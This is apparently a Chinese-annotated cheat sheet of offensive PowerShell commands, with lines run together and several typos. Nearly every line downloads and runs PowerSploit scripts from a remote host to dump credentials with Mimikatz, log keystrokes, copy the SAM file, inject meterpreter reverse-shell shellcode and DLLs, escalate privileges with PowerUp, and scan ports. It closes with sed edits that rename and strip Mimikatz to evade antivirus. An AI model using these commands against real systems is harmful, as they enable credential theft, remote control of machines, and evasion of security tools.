PS C: > iex(New-Object net.webclient).Downloadstring('http://192.168.10.1/PowerSploit/Exfiltration/Invoke-Mimikatz.ps1')PS C: > Invole-mimikatz -command sekurlsa::logonpassword #会被win10阻拦PS C: > Invole-mimikatz -command lsadump::asm #从sam文件中获取
PS C: > iex(New-Object net.webclient).Downloadstring('http://192.168.10.1/PowerSploit/Exfiltration/Get-Keystrokes.ps1')PS C: > Get-Keystrokes -LogPath C:\123.txt
PS C: > iex(New-Object net.webclient).Downloadstring('http://192.168.10.1/PowerSploit/Exfiltration/Invoke-NinjaCopy.ps1')PS C: > Invoke-NinjaCopy -Path c:\windows\system\config\sam -LocalDestination C:\windows\temp\sam
PS C: > Get-TimedScreenshot -Path c:\windows\temp\ -Interval 10 -EndTime 12:00msfvenom -p windows/x64/meterpreter/reverse_http Lhost=192.168.10.1 LPort=8000 -f powershell[Byte[]] $buf = 0xfc,0x48,0x83,0xe4,0xf0,0xe8,0xcc,0x0,0x0,0x0,0x41,0x51,0x41,0x50,0x52,0x51,0x48,0x31,0xd2,0x56,0x65......
PS C:> IEX(New-Object net.webclient).Downloadstring('http://192.168.10.1/PowerSploit/CodeExecution/Invoke-Shellcode.ps1')PS C:> get-help Invoke-ShellcodePS C:> Invoke-ShellCode -Force -Shellcode 0xfc,0x84....
PS C:> IEX(New-Object net.webclient).Downloadstring("http://192.168.10.1/123.txt")PS C:> Invole-ShellCode -Force -Shellcode $buf
C:> taklistPS C:> ps -Name lsm
PS C:> Invole-ShellCode -Shellcode -Force $buf -ProcessID 496
PS C:> start-process C:\windows\system32\notepad.exe -WindowStyle HiddenPS C:> Get-Process Notepad
PS C:> IEX(New-Object net.webclient).Downloadstring('http://192.168.10.1/ps/Exfiltration/Invoke-Mimikatz.ps1')PS C:> Invoke-DllInjection -Dll ./test.dll -ProcessId 8787PS C:> IEX(New-Object net.webclient).Downloadstring('http://192.168.10.1/PowerSploit/Privesc/PowerUp.ps1')Invoke-AllChecks #自动执行PowerUp下所有的脚本来检查目标主机Find-PathDllHijack #检查当前%PATH%的哪些目录是用户可以写入的Get-ApplicationHost #利用系统上的application.config文件恢复加密过的应用池和虚拟目录的密码Get-RegistryAlwaysInstallElevated #检测AlwaysInstallElevated注册表是否被设置,如果被设置,意味着MSI文件是以SYSTEM权限运行的Get-RegistryAutoLogon #检测windows注册表的AutoAdminLogon项有没有被设置,可查询被设置默认的用户名密码Get-ServiceDetail –ServiceName DHCP#返回某服务的信息Get-ServiceFilePermission #检测当前用户能够在哪些服务的目录写入相关的可执行文件(可以通过这些文件提权)Test-ServiceDaclPermission #检测所有可用的服务,并尝试对这些打开的服务进行修改(若可修改,返回服务对象)Get-UnattendedInstallFile #检查以下路径,查找是否存在这些文件(文件中可能包含部署凭据)Get-ServiceUnquoted #用于检查服务路径,返回包含空格但不带引号的服务路径Get-ModifiableRegistryAutoRun #检查开机自启动的应用程序路径和注册表键值,返回当前用户可修改的程序路径Get-ModifiableScheduledTaskFile #返回当前用户能够修改的计划任务程序的名称和路径Get-Webconfig #返回当前服务器上web.config文件中的数据库连接字符串的明文
PS C:> IEX(New-Object net.webclient).Downloadstring('http://192.168.10.1/PowerSploit/Recon/Invoke-Portscan.ps1')PS C:> Invoke-Portscan -Host 192.168.10.6 -ports "1-1000"
PS C:> Invoke-ReverseDnsLookup 192.168.10.0/24
PS C:> Get-HttpStatus -Target 192.168.10.6 -Path C:\dict.txtpowershell -com iex(New-Object net.webclient).Downloadstring('http://192.168.10.1/123.txt')C: > powershellPS C: >
Invoke-Mimikatz.ps1改为psyyds.ps1sed -i -e '/<#>/c\\' Invoke-Mimikatz.ps1sed -i -e 's/^[[:space:]]*#.*$//g' Invoke-Mimikatz.ps1
sed -i -e 's/Invoke-Mimikatz/Invoke-miansha/g' Invoke-Mimikatz.ps1sed -i -e 's/DumpCreds/DumpCredd/g' Invoke-Mimikatz.ps1
